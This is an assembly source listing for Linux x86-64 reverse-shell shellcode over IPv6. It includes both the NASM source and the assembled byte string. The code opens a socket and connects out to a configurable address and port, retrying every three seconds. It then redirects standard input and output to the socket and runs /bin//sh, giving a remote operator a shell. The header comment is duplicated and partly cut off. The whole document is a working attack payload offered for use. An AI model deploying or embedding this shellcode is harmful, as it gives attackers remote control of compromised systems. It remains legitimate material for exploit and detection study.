Linux x86-64 Reverse Shell Shellcode

[BITS 64]

; **reverse ip6 tcp shell
; * size >= 113 bytes (depends of ip addr, default is ::1)
; * nullbytes free (depends only on ip addr,

; **reverse ip6 tcp shell
; * size >= 113 bytes (depends of ip addr, default is ::1)
; * nullbytes free (depends only on ip addr,
; you could always and the ip add to remove
; the nulls like i did with the port)
; * it sleeps and then tries to recconect (default 3 seconds)
;
;shell =
;"x6ax0ax5fx6ax01x5ex48x31xd2x6ax29x58x0fx05x50x5b"
;"x52x48xb9x00x00x00x00x00x00x01x51xb9x00x00x00x00"
;"x51xbaxffxffx05xc0x66x21xfax52x48x31xf6x56x6ax03"
;"x54x5fx6ax23x58x0fx05x59x59x53x5fx54x5ex6ax1cx5a"
;"x6ax2ax58x0fx05x48x85xc0x75xe0x48x96x6ax03x5ex6a"
;"x21x58x48xffxcex0fx05x75xf6x48xbfx2fx2fx62x69x2f"
;"x73x68x56x57x48x31xd2x54x5fx6ax3bx58x0fx05"
;
; again, the nulls propably won't even come up with your global ip addr
; if they do, and you don't encodee the payload, you could do some
; bitwise operations
;
; made by srakai (github.com/Srakai)


AF_INET6 equ 10
SOCK_STREAM equ 1
SOCKET equ 41
CONNECT equ 42
DUP2 equ 33
EXECVE equ 59
NANOSLEEP equ 35

section .text

global _start

_start:

; socket()

push AF_INET6
pop rdi
push SOCK_STREAM
pop rsi
xor rdx, rdx
push SOCKET
pop rax
syscall

push rax
pop rbx

; create struct sockaddr_in6
push rdx ;scope id = 0
mov rcx, 0x0100000000000000 ;sin6_addr for local link use:
push rcx ;sin6_addr 0x0100000000000000
mov rcx, 0x0000000000000000 ;sin6_addr 0x0000000000000000
push rcx ;sin6_addr
mov edx, 0xc005FFFF ;sin6_flowinfo=0 , family=AF_INET6, port=1472
and dx, di ;to change port change P, 0xPPPP000A
push rdx

sleep:

xor rsi, rsi
; struct timespec
push rsi ;push 0
push 3 ;seconds to sleep

; nanosleep()
push rsp
pop rdi
push NANOSLEEP
pop rax
syscall

pop rcx ;clear stack
pop rcx

; connect()
push rbx
pop rdi
push rsp
pop rsi
push 28 ;sizeof struct
pop rdx
push CONNECT
pop rax
syscall

test rax, rax ;if (rax&rax) ==0
jnz sleep

; dup2()
xchg rsi, rax ;rsi=0
push 3
pop rsi
dup2:
push DUP2
pop rax
dec rsi
syscall
jnz dup2

; execve()
mov rdi, 0x68732f6e69622f2f
push rsi
push rdi
xor rdx, rdx
push rsp
pop rdi
push EXECVE
pop rax
syscall